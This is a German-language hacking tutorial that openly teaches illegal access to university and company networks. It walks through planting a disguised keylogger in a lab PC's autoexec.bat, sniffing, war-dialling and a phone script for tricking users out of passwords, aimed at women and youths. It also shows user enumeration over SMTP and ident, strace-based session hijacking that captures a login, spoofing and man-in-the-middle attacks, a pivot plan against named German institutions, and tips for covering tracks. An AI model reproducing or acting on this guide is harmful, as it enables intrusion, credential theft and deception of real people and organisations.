Inhaltsverzeichnis

1. Voraussetzungen
2. Wie bekomme ich (illegalen) Zugang zum Internet?
3. Die Literatur:

Der unangenehme Teil
oder:
Der Schuessel zum Erfolg
4. Wie komme ich weiter?
5. Wie rette ich meinen Arsch?
6. Ein paar Gedanken zum Sein eines Hackers
7. Yeah, time to become 31337.
8. Ein Blick ueber die Schulter
9. Persoenliche Sicherheit
10. Wichtige Links
11. Tools

Vorwort

Bitte sendet alle Verbesserungen/Erweiterungen an meine E-mail Adresse.

For non-german guys:
Sorry, but I'm too lazy to translate this text to english.
But maybe sometimes I will.

Voraussetzungen

Wie bekomme ich (illegalen) Zugang zum Internet?

Such dir eine nette Uni (Internet Provider, Firma mit Internet-Access) in deiner Naehe aus und mache dort ein Praktikum, einen Ferienjob oder einen Nebenjob.
Waehrend deiner Taetigkeit immer schoen die Augen nach Rechnern aufhalten, die ans Uni-Netz angeschlossen sind, die von den Studenten genutzt werden und allgemein zugaenglich sind. Haeufig steht irgendwo ein alter DOS- PC rum, oder es existieren PC-Pools. Such dir einen Rechner aus und sieh dir seinen Aufbau an (autoexec.bat & config.sys...) und beobachte wie er benutzt wird (laeuft er staendig, wird er nachts ausgeschaltet). Lass dich mal ganz plump von 'nem Studenten in die Benutzung des Rechners einfuehren. Dann benutze diesen Rechner fuer anonymous FTP, HTTP und den ganzen Kram, der kein Passwort erfordert, und wenn sich die Gelegenheit mal bietet, dann kopiere dir die "autoexec.bat", "config.sys" und den Stammverzeichnisbaum (tree) auf 'ne Diskette.
So jetzt zum spannenden Teil. Es geht darum ein TSR-Programm zu installieren, welches die Tastatureingaben in eine Datei protokolliert . Um dieses TSR-Prog. so gut wie moeglich zu verstecken tarnt man es als ein anderes Prog. und fuegt einen entsprechenden Eintrag in die autoexec.bat ein. Man kann z.B. den Mouse-Treiber mit einer Batch-Datei ersetzen, die erst unser TSR und dann den Mouse-Treiber aufruft o. ae.. Man kann natuerlich auch das TSR vor mem verstecken (ich glaube man veraendert irgendwie 'ne Memorygrenze - keine Ahnung).
Evtl. muss man das TSR mit einem HEX-Editor seinen Anforderungen anpassen. Es sollte auch darauf geachtet werden, dass die Protokolldatei den ganzen Plattenplatz aufzehren koennte, also taeglich die Datei auf Diskette bringen und von der Platte entfernen. Desweiteren muessen die Timestamps angepasst werden - ja, Paranoia ist die Lebensversicherung eines Hackers.
So, um die ganze Angelegenheit zu beschleunigen tippe jeweils eine Batch-Datei fuer die Installation des TSRs, fuer das move'n der Protokolldatei und zum Deinstallieren des TSRs und zur Wiederherstellung des Orginalzustandes (Timestamps nicht vergessen). Teste deine Startegie und deine Batch-Dateien auf deinem Rechner, in der Praxis darf es keine Fehler mehr geben, alles muss schnell und reibungslos verlaufen.

Interpretation der Protokolldatei:
Wenn du z.B. folgendes siehst
ftp blah.am.arsch.de
franz
schwanz
... dann existiert auf dem Rechner "blah.am.arsch.de" ein Account mit dem Login "franz" und den Passwort "schwanz" - vorausgesetzt, dass die Eingaben richtig waren :).
Wichtig sind fuer dich erstmal die Rechner im Uni-Netz.

Desweiteren kannst du natuerlich auch einfach in den Computer-Systemen Trojan-Horses einbringen oder ganz
simpel den Leuten ueber die Schulter sehen, wenn sie sich in die Rechner einloggen.

Die "Experten" unter euch koennen einen Vampire-Tap oder einen Laptop mit Sniffer in deren Netz einbringen und so
einfach die Account-Informationen aufzeichnen.
Der Vorteil des Vampire-Taps ist, dass es nicht durch Messgeraete entdeckt werden kann, die die Entfernung bis
zum naechsten Ende/Bruch im Netzkabel messen.

Unter Windows (3.11) kannst du den Macrorecorder zur Aufzeichnug der Tastatureingaben verwenden... is' aber nicht so toll... mach deine eigenen Erfahrungen, es erfordert auf jeden Fall mehr Aufmerksamkeit von dir. Eine bessere Loesung ist da schon eine veraenderte WINSOCK.DLL zu installieren, die alle Daten, die uebers Netz gehen aufzeichnet.

Natuerlich kannst du auch einen auf DOS basierenden Sniffer installieren.

Wenn du ein paar Accounts gesammlt hast, musst du die Telefonnummer des Modems rausfinden, die dich mit dem Netz der Uni verbindet.
Die Nummer bekommst du ganz einfach: Ruf' bei der Uni an, gib dich als Student aus und frag' nach der Nummer - du musst sicher und ruhig sprechen. Haeufig steht die Nummer auch in 'nem Infoblatt vom Rechenzentrum (RZ) oder auf deren Web-Site.
Die Bequemlichkeit beim Verwalten und Verwenden von Account Informationen kommt dir beim Einloggen zugute, undzwar ist es (meistens) voellig egal auf welchem Rechner im Uni-Netz du landest, denn viele User verwenden das selbe Passwort auf mehreren Rechnern (auch in anderen Domains) oder es wird NIS (oder NIS+, rdist, DCE, etc) benutzt
So, wenn du in dem System bist, dann mache dich damit vertraut (in Uni-Systemen faellt man nicht so schnell auf).
Von der Uni aus, kannst du dann am Besten noch Domains hacken, die in deinem City-Tarif Bereich liegen um deine Telefonkosten zu verringern - auch wenn die gehackte Uni im City-Tarif Bereich ist. Je mehr Einwahlpunkte du zum Internet hast um so besser.
Du kannst deine Telefongebueren auch sparen, indem du 'ne PBX hackst (im 0130/0800- Bereich oder von lokalen Firmen) oder durch BlueBoxing - ist mir persoenlich zu gefaehrlich und zu auffaellig, da die Telekom gerne BlueBoxer kennen lernen will und PBXs meistens gute Intrusion Detection Systems besitzen. ;)
Bei Firmen ist es meistens etwas gefaehrlicher.

Die einfachste Methode ist natuerlich, wenn dir ein bekannter Hacker einen Account gibt.

Falls du schon einen Unix-/NT-Account hast, dann lad' dir einfach die Passwortdatei auf deinen Rechner und cracke die Passwoerter.
Oder ein temporaerer Freund mit Internet-Anschluss hilft dir weiter. ;)

Und nun noch ein old-school Weg. Er erfordert weniger den technischen sondern mehr den physischen und mentalen Aufwand.
Such' dir ein/e Institut/Firma mit Internetanschluss in deiner Stadt aus. Jetzt musst du erstmal jedemenge Infos ueber dein Ziel sammeln, egal wie unwichtig sie erscheinen. Du brauchst z.B. den Namen des Admins und der User, Beziehungen zu anderen Instituten/Firmen. Um diese Dinge in Erfahrung zu bringen kannst du den Muell der Firma durchsuchen (sog. "Dumpster Diving") oder dich mal 'n bisschen umhoeren. Jetzt nur noch die Modemnummer herausfinden:
Entweder einfach anrufen und als User (wenn du den Namen eines Kunden hast, dann benutze ihn auch), der die Nummer vertroedelt hat, ausgeben oder den Telefonnummernbereich deines Ziels durchscannen.
Das Scannen geht wie folgt:
Du waehlst eine Nummer und horchst ob ein Modem dranhaengt - diese Aufgabe kann auch ein Prog. uebernehmen. Viele Firmen belegen einen bestimmten Nummernbereich, z.B. eine 6stellige Nummer wobei die ersten 3 Zahlen statisch sind (z.B. 911) und die letzten 3 Zahlen variieren (0 bis 999; wobei 0 meistens die Telefonzentrale, Pforte, etc ist). Nun waehlst du alle Nr. von 911-0 bis 911-999 bis du ein Modem gefunden hast; falls du ein Anrufbeantworter entdeckst, dann versuche ihn zu hacken (weitere Infos).
Du kannst den zuscannenden Bereich einschraenken indem du dir die Durchwahlnummer des RZs, DVZs (Datenverarb. Zentrum) - oder wie sonst die Abteilung fuer die Rechnerverwaltung heisst - geben laesst und dann von dort startest (Bsp.: Durchwahl: 345, dann faengst du bei 911-300 an). So jetzt Accounts besorgen.
Rufe einen User an - dabei solltest du folgendes beachten:

1. suche dir am Besten nur Frauen

oder Jugendliche aus, da diese Personen leichtglaeubiger und techn. weniger versiert sind.
(KEIN Sexismus, reine Erfahrung :) )
2. keine direkten Mitarbeiter der Firma
3. abends anrufen (zw. 19.00 und 21.00)

MA:     Guten Abend, hier ist Mark Abene, ich bin der Computer-Administrator
        von HAQ_ME. Koennte ich wohl bitte Kathrin Mitnick sprechen?
KM:     Ja, am Apparat.
MA:     Oh gut, undzwar folgendes, wir hatten auf unseren Internet-Server
        einen Headcrash, uns sind einige Daten verloren gegangen, darunter
        auch die Userdaten...
KM:     Oh Gott, wie schrecklich.
MA:     ... ja, ja, und ich hab' die ehrenvolle Aufgabe die Daten von
        unseren Backupbaendern zu restaurieren und die User-Datenbank wieder
        neu einzurichten.
KM:     Aha...
MA:     Um meine Aufgabe zu komplettieren und ihnen wieder die einwandfreie
        Benutzung ihres Internetzugangs zu gewaehrleisten muesste ich wissen
        ob sie ihren alten Usernamen, kathrin, wieder verwenden wollen.
KM:     Oh ja, natuerlich.
MA:     Ok,... und wie lautete ihr Passwort?
KM:     Was!? Mein Passwort, warum haben sie davon keine Sicherungskopien
        angefertigt?
MA:     Oh, es ist schoen so sicherheitsbewusste User zu haben, aber leider
        selten.
        Aufgrund unser hohen Sicherheitsansprueche wird von der User-
        Datenbank keine Kopie angefertig... stellen sie sich mal vor, dass
        die Backupbaender gestohlen werden.
KM:     Oh ja, sie haben recht. Also gut mein Passwort war "nirhtak".
MA:     Ok, ... dankesehr.
        Aufwiederhoeren.
KM:     Tschuess.

Die Literatur

Na? 'Ne Menge Papier. Aber es lohnt sich wirklich den ganzen Kram zu lesen, glaub mir. Es gibt auch einige wenige gute Docs von Admins und Hackern - sie ersetzen aber nicht ein gutes Buch.
Du solltest auch die Security-Papers lesen, die im COAST-Archiv oder bei RootShell liegen... und die USENIX-Veroeffentlichungen nicht zu vergessen.

Wie komme ich weiter?

Ok, gehen wir mal davon aus, dass du 'root'-Rechte hast.
Eine Moeglichkeit um weitere Netze zu hacken besteht darin nach Dateien wie ".rhosts", ".netrc" oder/und ".forward" zu suchen; oder E-Mail nach Passworten (oder anderen interessanten Kram) zu durchforsten. Um dir die Arbeit ueber 20.000 User zu checken (und beim Gebrauch von NFS noch zusaetzlich die UID zu wechseln) abzunehmen hab ich ein kleines Tool geschrieben... die erste Version von Searcher half mir bei meinen ersten Internet-Hacks.
Wenn du von einigen Usern das Passwort gecrackt hast, dann solltest du gucken von welchen Hosts sie sich einloggen, dazu kannst du last, w oder aehnliches benutzen, du koenntest auch die Hosts aufs Korn nehmen in die sie sich einloggen, herausfinfen kannst du das z.B. mit ps (mit w-Option), netstat, ... oder du benutzt die Mail-Aliases bzw. ".forward" um zu sehen wohin ein User seine E-Mail umleitet.
Jetzt solltest du noch herausfinden welchen Usernamen er auf dem Remote Host benutzt (im ".forward" File ist es schon angegeben; z.B. ´remote-user@other-site.com´), dazu kannst du SMTP verwenden... Bsp.: User "victim" (Realnamen: Hackers Victim) hat sich mit telnet auf dem Rechner "host.account.edu" eingeloggt.

> telnet host.account.edu 25
< Trying 123.10.0.1...
< Connected to host.account.edu.
< Escape character is '^]'.
< 220-host.account.edu Sendmail 8.6.9/8.6.9 ready at Mon, 21 Jul 1997
< 16:19:56 +0200
< 220 ESMTP spoken here
> vrfy victim
< 550 victim... User unknown
> vrfy hvictim
< 250 Hackers Victim <hvictim@host.account.edu>
> quit
< 221 host.account.edu closing connection
< Connection closed by foreign host.

Du kannst auch noch finger (wird aber aus Sicherheitsgruenden haeufig nicht angeboten) oder aber rusers benutzen um alle eingeloggten User auf "host.account.edu" zu erfragen.

Falls du keinen Erfolg haben solltest oder diese Dienste nicht angeboten werden bist du immer noch nicht verloren. Wenn der User gerade eingeloggt ist, dann rufe das Programm netstat (dient unter anderem zum Debuggen von Netzwerkproblemen) auf.

> netstat
< Active Internet connections
< Proto    Recv-Q Send-Q Local Address       Foreign Address               (State)
< User
< victim
< tcp        0      0      localhost:1032      host.account.edu:telnet     ESTABLISHED
< root
< udp        0      0      localhost:3043      *:*
< Active UNIX domain sockets
< Proto RefCnt  Flags           Type            State                    Path
< unix  1       [ ACC ]       SOCK_STREAM     LISTENING               /tmp/gpmctl
< unix  2       [ ]           SOCK_STREAM     CONNECTED               /dev/log
< unix  2       [ ]           SOCK_STREAM     CONNECTED
< unix  2       [ ACC ]       SOCK_STREAM     LISTENING               /dev/printer
< unix  2       [ ]           SOCK_STREAM     CONNECTED               /dev/log
< unix  2       [ ]           SOCK_STREAM     CONNECTED
< unix  1       [ ACC ]       SOCK_STREAM     LISTENING               /dev/log

< Active Internet connections
< Proto    Recv-Q Send-Q  Local Address    Foreign Address              (State)
< User
< victim
< tcp        0      0       localhost:1032   host.account.edu:telnet    ESTABLISHED

> telnet host.account.edu 113
< Trying 127.0.0.1...
< Connected to host.account.edu.
< Escape character is '^]'.
> 23, 1032
< 23 , 1032 : USERID : UNIX : hvictim
> Connection closed by foreign host.

Ja, falls der Typ rlogin oder rsh benutzt, dann sieh' dir mal die Prozess-Liste an, ps auw | grep victim fuer BSD Derivate und ps -ef | grep victim fuer SysV (AT&T) Unix. Von Interesse fuer uns ist hier die '-l' Option der Befehle, damit gibt man den Usernamen auf dem Remote Host an (das selbe gilt auch fuer SecureShell - ssh).

Wenn du den Source Code von telnet bzw. telnetd fuer das OS des lokalen Rechners hast, dann kannst du den Code so veraendern, dass die Account Informationen fuer ausgehende bzw. eingehende Verbindungen aufgezeichnet werden.

Die effektivste und auch einfachste Methode ist einen Ethernet-Sniffer zu installieren. Der Sniffer setzt die Netzkarte in den Promiscuous Mode und kann so alle Pakete, die uebers LAN gehen aufzeichnen. Sieh' dir mal den Code und die Docu.s von 'nem Sniffer an.
Das Sniffen funktioniert nicht bei ATM- und bei 10BaseT/100BaseT-Netzen (mit intelligenten Hubs)... und bei FDDI- und Tokenring-Netzen geht's nur teilweise.

Die Methode mit dem Sniffer ist eine passive Attacke. Aktive Angriffe wie (Blind-) IP Spoofing, TCP Hijacking... sind etwas komplizierter und ich werde sie hier nur kurz erleutern.
 

Methode	Beschreibung
Blind IP-Spoofing	Hierbei benutzt man eine falsche IP Source Adresse und versucht eine TCP Verbindung aufzubauen.  Es wird der 'Trusted Host' Mechanismus der BSD ´r´-Dienste (meistens rlogind) ausgenutzt, dieser 'Sicherheits'-Mechanismus erlaubt Zugriff anhand der IP Source Adresse (es wird kein Passwort benoetigt - sollte das Sniffen von Passwoertern verhindern).  Die grosse Kunst bei dieser Form der Attacke besteht darin die TCP Sequencenr. richtig zu "raten" (da man die IP Src. gefaelscht hat bekommt man die TCP Seq# des Remote Hosts nicht zu Gesicht; es sei denn man benutzt die IP Src. Adresse eines Hosts, der sich im selben Subnet befindet).  Bei alten Systemen ist das "Raten" relativ einfach (64K Rule) aber bei neuen Systemen ist es nahezu unmoeglich, da sie ihre TCP Seq# random erstellen.
Non-Blind IP-Spoofing	Der Vorteil dieser Attacke ist, dass man im Gegensatz zu 'blinden' Version die TCP Seq# und die Daten "sieht". Ein wieterer Vorteil ist, dass mehrere Methoden existieren.  IP Source Routing + Alias Interface Diese Methode is sehr einfach zu realisieren, es werden einfach alle Router, die das Packet passieren soll im IP Header als zusaetzliche Option angegeben...  Tja, aber das Dumme ist, dass der rlogind ueberprueft ob zusaetzliche Optionen im IP Header gesetzt sind, und wenn dem so ist, dann wird das Packet irgnoriert und eine Logmessage an syslogd uebergeben (jedenfalls wird es in der BSD Version gemacht und ich denke SysV macht es auch).  der gespoofte/zu attackierte Host befindet sich im selben Subnet wie 'dein' Host Ok, auf 'nem normalen Ethernet kannst du alle Packete sehen indem du deine Ethernetkarte in den Promisc. Mode schaltest (s. Sniffer)  du hast den ISP des Netzes gehackt, an dem der gespoofte/attackierte Host haengt Es kann (generell) wie zuvor verfahren werden.  oder ARP Reply Spoofing ist sehr einfach und kompfortabel...  Du erzaehltst dem zu hackenden Rechner einfach, dass die gespoofte IP zu deiner Hardware/Ethernet-Adresse gehoert, indem du das IP/HW-Paar mit Hilfe einer ARP Message in seinem ARP Cache eintragen laesst.  Ist leider nur fuer LANs geeignet.  die Route zwischen gepsooftem Host und attackiertem Host geht ueber 'deinen' Router Das Schoenste ist natuerlich, wenn der Router eine Unix-Maschine ist auf der du 'root'-Rechte besitzt und die Route per default ueber 'deinen' Router laeuft. Naja, meistens ist es keine Unix-Maschine sondern ein Cisco, 3Com, Ascend, Livingston PM oder sonstwas und du must die Route erst ueber ´deinen´ Router redirecten (spoofe EGP/RIP Messages, oder vielleicht (wenn 'dein' Netz und das zuattakierende Netz direkt am selben Backbone haengen) ICMP Redirect Messages)
TCP Hijacking	Hierbei geht es darum eine bestehende TCP-Verbindung zu uebernehmen .  Dabei ergibt sich das gleiche Problem wie beim Non-Blind IP-Spoofing: man muss irgendwie in die Route der beiden Rechner kommen um die TCP Seq# mitzulesen.  Wenn man die Verbindung uebernommen hat koennen z.B. Shell-Commands in den Datenstrom eingefuehgt werden, die dann auf dem Remote Host ausgefuehrt werden.

Bei den IP-Spoof Attacken, muss darauf geachtet werden, dass der Host, dessen IP Adresse man spooft, nicht auf die Pakete des gefoolten Hosts antworten kann (hierzu benutzt man eine DoS (Denial-of-Service) Attacke), denn die Antwort (der TCP Stack generiert ein TCP RST Packet, da er nichts mit den empfangenden Paketen anfangen kann) wuerde den TCP Stack des attackierten Rechners dazu bringen die TCP Connection sofort zu beenden... und wer will das schon?

Drei 'Sniffer'-Methoden erlauben es sogar verschluesselte Verbindungen (z.B. mit SSH) im Klartext aufzuzeichnen (bzw. Daten einzugeben). Als erstes waere da das TTY-Hijacking zu nennen, dann das Process (bzw. Systemcall) Tracing und zu guter letzt die Man-in-the-Middle (MIM) Attack. Die ersten beiden Verfahren setzen den 'root'-Zugriff auf einem der Endsysteme voraus.

Beim TTY-Hijacking gibt es die verschiedensten Arten.

• Ein einfacher 'ioctl()'-Aufruf (siehe dazu den Source Code von 'Smeagol') erlaubt es zeichenweise Daten in den TTY-Stream einzugeben (aber nicht auszulesen).

Das Schoene an dieser Methode ist, dass man nicht unbedingt root-Rechte benoetigt. SEHR alte Systeme checken die Zugriffserlaubnis fuer Specialfiles anhand der r/w/x-Perms des Filesystems und nicht mit Hilfe des Kernels. SunOS hat einen Bug, der es erlaubt selbst non-root Usern einen Filedescriptor fuer Specialfiles zu erhalten.
• Man kann die Shell eines Users durch 'nen PTY-Wrapper ersetzen (PTY = Pseudo-Terminal), dadurch kann man alle Ein- und Ausgaben mitlesen.
• Einfuehgen von LKMs (Loadable Kernelmodules) erlaubt das Mitschneiden von Ein-/Ausgaben und die Eingabe von eigenen Daten.
• Durch das Verbiegen von Systemcalls (aehnlich dem Verbiegen von DOS Interrupts in der Intr-Vektortabelle, aber wesentlich einfacher) koennen Eingaben aufgezeichnet werden.

Ok, als erstes muessen wir uns ein Opfer aussuchen, d.h. die Shell eines Users (oder natuerlich auch eine bereits bestehende Verbindung mit telnet, rlogin, ssh...). Dazu benutzen wir ps.

> ps
<     PID             TTY     STAT    TIME    COMMAND
<     69              v04     SW      0:00    (agetty)
<     70              v05     SW      0:00    (agetty)
<     257             v06     SW      0:00    (agetty)
<     599             v02     S       0:00    -bash
<     707             v03     S       0:00    -bash
<     744             v02     R       0:00    ps

> strace -f -p 707
<       Process 707 attached - interrupt to quit
<       read(0, "t", 1) = 1
<       write(2, "t", 1) = 1
<       read(0, "e", 1) = 1
<       write(2, "e", 1) = 1
<       read(0, "l", 1) = 1
<       write(2, "l", 1) = 1
<       read(0, "n", 1) = 1
<       write(2, "n", 1) = 1
<       read(0, "e", 1) = 1
<       write(2, "e", 1) = 1
<       read(0, "t", 1) = 1
<       write(2, "t", 1) = 1
<       read(0, " ", 1) = 1
<       write(2, " ", 1) = 1
<       read(0, "d", 1) = 1
<       write(2, "d", 1) = 1
<       read(0, "o", 1) = 1
<       write(2, "o", 1) = 1
<       read(0, "o", 1) = 1
<       write(2, "o", 1) = 1
<       read(0, "\r", 1) = 1
<       write(2, "\n", 1) = 1

<       [pid 772]: execve("/bin/telnet", "telnet", "doo", env:["ignoreeof=10",  [pid 772]:

<       socket(PF_INET, STREAM, IPPROTO_IP) = 3
<       [pid 772]: connect(3, AF_INET(23, 10.0.0.1), 16) = 0

<       [pid 772]: write(1, "Connected to doo.the-haze.org.\n", 32) = 32
<       [pid 772]: write(1, "Escape character is '^]'.\n", 26) = 26

<       [pid 772]: recv(3, "\ff\fb\1\r\nLinux 1.1.59 (doo.the-haze".., 1024, 0) = 49
<       [pid 772]: write(1, "\r\nLinux 1.1.59 (doo.the-haze.or".., 46) = 46

<       [pid 772]: recv(3, "\ff\f2\r\ndoo login: ", 1024, 0) = 15
<       [pid 772]: write(1, "\r\ndoo login: ", 13) = 13

<       [pid 772]: read(0, "t", 1024) = 1
<       [pid 772]: send(3, "t", 1, 0) = 1
<       [pid 772]: recv(3, "t", 1024, 0) = 1
<       [pid 772]: write(1, "t", 1) = 1

<       [pid 772]: read(0, "i", 1024) = 1
<       [pid 772]: send(3, "i", 1, 0) = 1
<       [pid 772]: recv(3, "i", 1024, 0) = 1
<       [pid 772]: write(1, "i", 1) = 1
<       [pid 772]: read(0, "c", 1024) = 1
<       [pid 772]: send(3, "c", 1, 0) = 1
<       [pid 772]: recv(3, "c", 1024, 0) = 1
<       [pid 772]: write(1, "c", 1) = 1
<       [pid 772]: read(0, "k", 1024) = 1
<       [pid 772]: send(3, "k", 1, 0) = 1
<       [pid 772]: recv(3, "k", 1024, 0) = 1
<       [pid 772]: write(1, "k", 1) = 1
<       [pid 772]: read(0, "\r", 1024) = 1
<       [pid 772]: send(3, "\r\0", 2, 0) = 2

<       [pid 772]: recv(3, "\r\nPassword: ", 1024, 0) = 12
<       [pid 772]: write(1, "\r\nPassword: ", 12) = 12

<       [pid 772]: read(0, "T", 1024) = 1
<       [pid 772]: send(3, "T", 1, 0) = 1

<       [pid 772]: read(0, "E", 1024) = 1
<       [pid 772]: send(3, "E", 1, 0) = 1
<       [pid 772]: read(0, "S", 1024) = 1
<       [pid 772]: send(3, "S", 1, 0) = 1
<       [pid 772]: read(0, "T", 1024) = 1
<       [pid 772]: send(3, "T", 1, 0) = 1
<       [pid 772]: read(0, "S", 1024) = 1
<       [pid 772]: send(3, "S", 1, 0) = 1
<       [pid 772]: read(0, "T", 1024) = 1
<       [pid 772]: send(3, "T", 1, 0) = 1
<       [pid 772]: read(0, "R", 1024) = 1
<       [pid 772]: send(3, "R", 1, 0) = 1
<       [pid 772]: read(0, "A", 1024) = 1
<       [pid 772]: send(3, "A", 1, 0) = 1
<       [pid 772]: read(0, "C", 1024) = 1
<       [pid 772]: send(3, "C", 1, 0) = 1
<       [pid 772]: read(0, "E", 1024) = 1
<       [pid 772]: send(3, "E", 1, 0) = 1
<       [pid 772]: read(0, "\r", 1024) = 1
<       [pid 772]: send(3, "\r\0", 2, 0) = 2
<       [pid 772]: recv(3, "\r\0\r\n", 1024, 0) = 4
<       [pid 772]: write(1, "\r\r\n", 3) = 3

<       [pid 772]: recv(3, "Last login: Mon Sep 22 15:58:52 ".., 1024, 0) = 48
<       [pid 772]: write(1, "Last login: Mon Sep 22 15:58:52 ".., 48) = 48

Kommen wir nun zur MIM Attack.
Eine MIM Attack haengt stark von dem Protokol fuer den Schluesselaustausch, von der zugrundeliegenden Netzwerkarchitektur, vom Routing und so weiter ab.
Ich werde mal ein kleines Szenario darstellen bei dem ein asymmetrischer (Public-Key) Kryptoalgorithmus verwendet wird. Die technischen Feinheiten sollen uns hier mal nicht interessieren.
Nehmen wir an, dass sich ein BKA Beamter (Harald) mit einem BSI Angestellten (Jochen) ueber die neusten Entwicklungen von und in der THC-Crew unterhalten will. ;)
Zur Kommunikation benutzen sie ein Art talk, bei dem die Daten encrypted ueber ein Computernetzwerk gehen.
Desweiteren ist es ihre erste Kommunikation, sodass sie erst noch ihre Public-Keys austauschen muessen.
Unser Angreifer (TICK) sitz irgendwo zwischen den beiden. Nein, nicht 'irgendwo'... er muss sich einen Platz aussuchen, den die Pakete auf jedem Fall passieren muessen (z.B. ein Router), oder er klinkt sich direkt ins Netzwerk ein, wenn er physikalischen Zugriff (z.B. bei einem Backbone Betreiber oder im lokalen Netz von Jochen oder Harald) hat, oder er manipuliert den DNS Tree, oder veraendert das Routing mit Hilfe von RIP... oder, oder, oder. Der Angreifer muss in der Lage sein Pakete abfangen, veraendern und weitersenden zu koennen; die original Pakete duerfen nicht den jeweiligen Kommunikationspartner erreichen.
So. Lasst das Spiel beginnen!

• Jochen wartet auf die Verbindung von Harald
• Harald sendet seine Chat-Anfrage an Jochen
• die Software von Jochen und Harald etablieren jetzt die Verbindung
• TICK wird auf diese Aktion natuerlich aufmerksam
• wenn Harald seinen Public-Key an Jochen schickt, faengt TICK ihn ab und sendet stattdessen seinen eigenen Public-Key an Jochen und behauptet er kommt von Harald
• Jochen empfaengt TICK's Public-Key und denkt er kommt von Harald
• Jochen seinerseits sendet seinen Public-Key an Harald
• das gleiche Spiel: TICK tauscht Jochen's Key gegen seinen eigenen aus und sendet ihn Harald
• Harald bemerkt nichts und beginnt mit der verschluesselten Kommunikation. Zur Verschluesselung benutzt er natuerlich TICK's Public-Key
• TICK empfaengt die Nachricht, dechiffriert sie mit seinem Secret-Key und erhaelt den Klartext (der natuerlich aufgezeichnet wird)
• TICK verschluesselt den Klartext mit dem Public-Key von Jochen, damit Jochen die Nachricht decrypten kann und sendet den Chipertext an Jochen
• Jochen empfaengt die Nachricht und dechiffriert sie mit seinem Secret-Key
• Jochen Antwortet auf Harald's Nachricht
• das Spiel geht von Vorne los, nur das in umgekehrter Richtung natuerlich Harald's Public-Key verwendet werden muss
• TICK lacht sich ins Faeustchen ;)

Ich moechte noch kurz auf eine andere Art von Attacke eingehen, die z.B. bei SecureShell funktioniert.
Undzwar wenn der Public-Key einer Client -> Server Verbindung bekannt ist, dann kann ein Angreifer mit diesem Key eigene Pakete verschluesseln und in den Stream einfuehgen. Somit ist es z.B. moeglich Befehle an eine Shell zu schicken.

Um ehrlich zu sein werden die meisten Hacks mit Hilfe von Remote-Exploits und Sniffern gemacht.

Abundzu solltest du auch 'n paar Hacker-Mags lesen... leider sind die meisten echter Schrott, was ich dir empfehlen koennte ist Phrack ,  THC-Mag ... naja, und vielleicht noch das TFC-Mag.

Ach ja, es gibt da noch eine Methode... haette's fast vergessen. Ich nenne sie "Verwundbarkeit aufgrund von Beziehungen"... naja. Ok, nehmen wir mal an, du willst das DFN-CERT hacken, kommst aber nicht rein weil die ihre Rechner natuerlich gut gesichert haben. Nun musst du ein paar Ueberlegungen ueber die Beziehungen des CERT zu anderen Domains machen. Hier ein Bsp. ('-' Ueberlegung und '->' Folgerung):

-       das CERT hat eine Subdomain im Netz des DFNs (Deutsches Forschungs Netz)
        ->      Bez. zu grossen Forschungseinrichtungen wei z.B. das DESY, die
                Frauenhofer Gesellschaft, der GMD et cetera
                Sniffer installieren und/oder gecrackte Accounts beim DFN testen.
-       das DFN-CERT liegt in Hamburg
        ->      Somit besteht eine Beziehung zur Uni/FH Hamburg
                d.h. wenn du die Uni/FH Hamburg hackst kannst du einen Sniffer
                auf die DFN(-CERT)-Domain ansetzen
                (und um ehrlich zu sein wird das DFN-CERT auch von Prof.s der
                Uni-HH geleitet (z.B.: Wolfgang Ley))
        ->      Das DESY ist ebenfalls in HH!
                Hiermit besteht schon eine doppelte Bez. zum DESY... also es lohnt
                sich hier mal vorbei zu sehen. ;)
-       und noch ein paar Kleinigkeiten mehr...

Wie rette ich meinen Arsch?

Zu diesem Thema werde ich nicht viel sagen, ausser, dass du How to cover your tracks von van Hauser/THC lesen solltest. Ich kann nur noch hinzufuegen:

• unterschaetze niemals deine "Gegner"... sprich die Admins und die Bullen
• wenn du nicht wirklich gut bist, dann lass die Finger vom CERT, Firewalls etc... du bekommst nur Aerger.
• setze dich mit der Gesetzeslage deines Lands auseinander
• zerstoere nichts und klaue keine Firmengeheimnisse (es sei denn sie sind fuer Hacker interessant oder koennten die Erde vor ihrem Untergang bewahren ;).
• loesche alle Komponenten deiner Hacking-Tools und Exploits mit srm o.ae., damit man sie nicht durch rohes Auslesen der HD rekonstruieren kann
• Du solltest dir ein Programm schreiben (oder benutze indent), das das Format deiner Source Codes voellig aufhebt, sodass z.B. dein Source Code nur aus einer langen Zeile besteht. Es existieren naemlich mehrere Security Papers, die sich damit beschaeftigen den Autor eines Programs anhand seines Programmierstils zu erkennen (wurde auch beim Internet Worm von Robert T. Morris angewandt; so konnte festgestellt werden, dass der Bufferoverflow Exploit fuer fingerd nicht urspruenglich von Morris stammt). Desweiteren solltest du keine extravaganten Bezeichnungen bei der Benennung deiner Funktionen und Variablen waehlen. Das nuetzt natuerlich alles nichts, wenn du deinen Handle in den Quellcode schreibst. ;)

Ein paar Gedanken zum Sein eines Hackers

Naja, das Bild ist mir etwas zu schwarz-weiss (und das hat nichts mit der Farbe zu tun).
In meinen Augen vereinigt ein Hacker beide "Personen" (No Risk No Fun).

Ein paar Regeln solltest du immer im Hinterkopf behalten:

• Zerstoere keine Rechner/Netze
• keine Erpressung
• keine Industriespionage
• hack nicht einfach wie wild 1000 Rechner nur weil es einfach ist, nimm mal 'n paar Herausforderungen an
• und noch 'ne Menge anderer Kram der gegen die Ehtik eines Hackers verstoesst, mir jetzt aber nicht einfaellt...

Yeah, time to become 31337.

Ich liste mal ein paar Dinge auf, die du als Grundlage zur Entwickelung von eigenen Exploits benoetigst.

1. natuerlich solltest du fit im Programmieren unter Unix sein (C, C++, Perl, Shell-Spachen).
2. du solltest die Exploits (von Bugtraq etc) genau studieren und einen Ueberblick und ein Verstaendnis fuer die Sicherheit von Programmen bekommen

das 'Nach-programmieren' von Exploits uebt ungemein ;)
3. besorge dir diverse Docs ueber das sichere Programmieren von Unix-Software http://www.sun.com/sunworldonline/swol-04-1998/swol-04-unixsecurity.html http://www.sun.com/sunworldonline/swol-04-1998/swol-04-security.html http://www.homeport.org/~adam/review.html http://olympus.cs.ucdavis.edu/~bishop/secprog.html http://www.research.att.com/~smb/talks/odds.[ps|pdf] http://www.pobox.com/~kragen/security-holes.txt
4. und vergiss nicht, so viel Source Codes wie moeglich von den verschiedenen Unix-Derivaten zu bekommen, die du gehackt hast

wenn du Glueck hast ist noch die Installations-CD im CD-Rom (ich hoffe mit Sources) ;)
